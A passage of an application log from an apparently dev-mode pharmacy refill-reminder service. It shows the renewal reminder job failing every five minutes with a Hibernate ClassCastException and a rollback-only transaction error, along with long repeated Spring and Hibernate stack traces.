org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:35:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:40:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:40:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:40:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:40:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:40:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:40:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:40:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:40:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:40:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:40:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:40:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:45:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:45:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:45:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:45:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:45:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:45:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:45:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:45:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:45:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:45:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:45:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:50:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:50:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:50:00 INFO PropertiesUtil:26 - SERVER_MODE: dev 2024-02-25 16:50:00 ERROR RenewalRxReminderJob:1442 - Exception: Next refill reminder -> java.lang.ClassCastException: [Ljava.lang.String; cannot be cast to java.lang.String at org.hibernate.type.descriptor.java.StringTypeDescriptor.unwrap(StringTypeDescriptor.java:39) at org.hibernate.type.descriptor.sql.VarcharTypeDescriptor$1.doBind(VarcharTypeDescriptor.java:64) at org.hibernate.type.descriptor.sql.BasicBinder.bind(BasicBinder.java:90) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:286) at org.hibernate.type.AbstractStandardBasicType.nullSafeSet(AbstractStandardBasicType.java:281) at org.hibernate.param.NamedParameterSpecification.bind(NamedParameterSpecification.java:67) at org.hibernate.loader.hql.QueryLoader.bindParameterValues(QueryLoader.java:616) at org.hibernate.loader.Loader.prepareQueryStatement(Loader.java:1901) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1862) at org.hibernate.loader.Loader.executeQueryStatement(Loader.java:1839) at org.hibernate.loader.Loader.doQuery(Loader.java:910) at org.hibernate.loader.Loader.doQueryAndInitializeNonLazyCollections(Loader.java:355) at org.hibernate.loader.Loader.doList(Loader.java:2554) at org.hibernate.loader.Loader.doList(Loader.java:2540) at org.hibernate.loader.Loader.listIgnoreQueryCache(Loader.java:2370) at org.hibernate.loader.Loader.list(Loader.java:2365) at org.hibernate.loader.hql.QueryLoader.list(QueryLoader.java:497) at org.hibernate.hql.internal.ast.QueryTranslatorImpl.list(QueryTranslatorImpl.java:387) at org.hibernate.engine.query.spi.HQLQueryPlan.performList(HQLQueryPlan.java:236) at org.hibernate.internal.SessionImpl.list(SessionImpl.java:1264) at org.hibernate.internal.QueryImpl.list(QueryImpl.java:103) at com.ssa.cms.dao.PatientProfileDAO.getOrdersDetialForRenewal(PatientProfileDAO.java:3259) at com.ssa.cms.dao.PatientProfileDAO$$FastClassBySpringCGLIB$$bf5a5653.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.dao.PatientProfileDAO$$EnhancerBySpringCGLIB$$4ec1bcf9.getOrdersDetialForRenewal() at com.ssa.cms.service.RefillReminderService.sendRenewalRefillReminder(RefillReminderService.java:1363) at com.ssa.cms.service.RefillReminderService$$FastClassBySpringCGLIB$$3fee10f5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.transaction.interceptor.TransactionInterceptor$1.proceedWithInvocation(TransactionInterceptor.java:99) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:281) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) 2024-02-25 16:50:00 ERROR SimpleAsyncUncaughtExceptionHandler:37 - Unexpected error occurred invoking async method 'public void com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob()'. org.springframework.transaction.TransactionSystemException: Could not commit JPA transaction; nested exception is javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:526) at org.springframework.transaction.support.AbstractPlatformTransactionManager.processCommit(AbstractPlatformTransactionManager.java:757) at org.springframework.transaction.support.AbstractPlatformTransactionManager.commit(AbstractPlatformTransactionManager.java:726) at org.springframework.transaction.interceptor.TransactionAspectSupport.commitTransactionAfterReturning(TransactionAspectSupport.java:515) at org.springframework.transaction.interceptor.TransactionAspectSupport.invokeWithinTransaction(TransactionAspectSupport.java:291) at org.springframework.transaction.interceptor.TransactionInterceptor.invoke(TransactionInterceptor.java:96) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:179) at org.springframework.aop.framework.CglibAopProxy$DynamicAdvisedInterceptor.intercept(CglibAopProxy.java:653) at com.ssa.cms.service.RefillReminderService$$EnhancerBySpringCGLIB$$169b955b.sendRenewalRefillReminder() at com.ssa.cms.remainder.RenewalRxReminderJob.sendRenewalRefillReminderJob(RenewalRxReminderJob.java:48) at com.ssa.cms.remainder.RenewalRxReminderJob$$FastClassBySpringCGLIB$$9c5c90d5.invoke() at org.springframework.cglib.proxy.MethodProxy.invoke(MethodProxy.java:204) at org.springframework.aop.framework.CglibAopProxy$CglibMethodInvocation.invokeJoinpoint(CglibAopProxy.java:717) at org.springframework.aop.framework.ReflectiveMethodInvocation.proceed(ReflectiveMethodInvocation.java:157) at org.springframework.aop.interceptor.AsyncExecutionInterceptor$1.call(AsyncExecutionInterceptor.java:110) at java.util.concurrent.FutureTask.run(FutureTask.java:266) at java.lang.Thread.run(Thread.java:748) Caused by: javax.persistence.RollbackException: Transaction marked as rollbackOnly at org.hibernate.jpa.internal.TransactionImpl.commit(TransactionImpl.java:74) at org.springframework.orm.jpa.JpaTransactionManager.doCommit(JpaTransactionManager.java:517) ... 16 more 2024-02-25 16:50:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:50:00 INFO NextRefillReminderJob:691 - There are no orders available which need next refill reminder (System will return). 2024-02-25 16:50:00 INFO NextRefillReminderJob:53 - No Refill Messages send false 2024-02-25 16:50:00 INFO NextRefillReminderJob:58 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:50:00 INFO NextRefillReminderJob:40 - No Refill Messages send false 2024-02-25 16:50:00 INFO NextRefillReminderJob:45 - ...................End Next Refill Reminder Job.............. 2024-02-25 16:55:00 INFO NextRefillReminderJob:46 - ...................Start Next Refill Reminder Job.............. 2024-02-25 16:55:00 INFO RenewalRxReminderJob:45 - ...................Start Renewal Refill Reminder Job.............. 2024-02-25 16:55:00 INFO NextRefillReminderJob:689 - Total Orders 0 2024-02-25 16:55:00 INFO 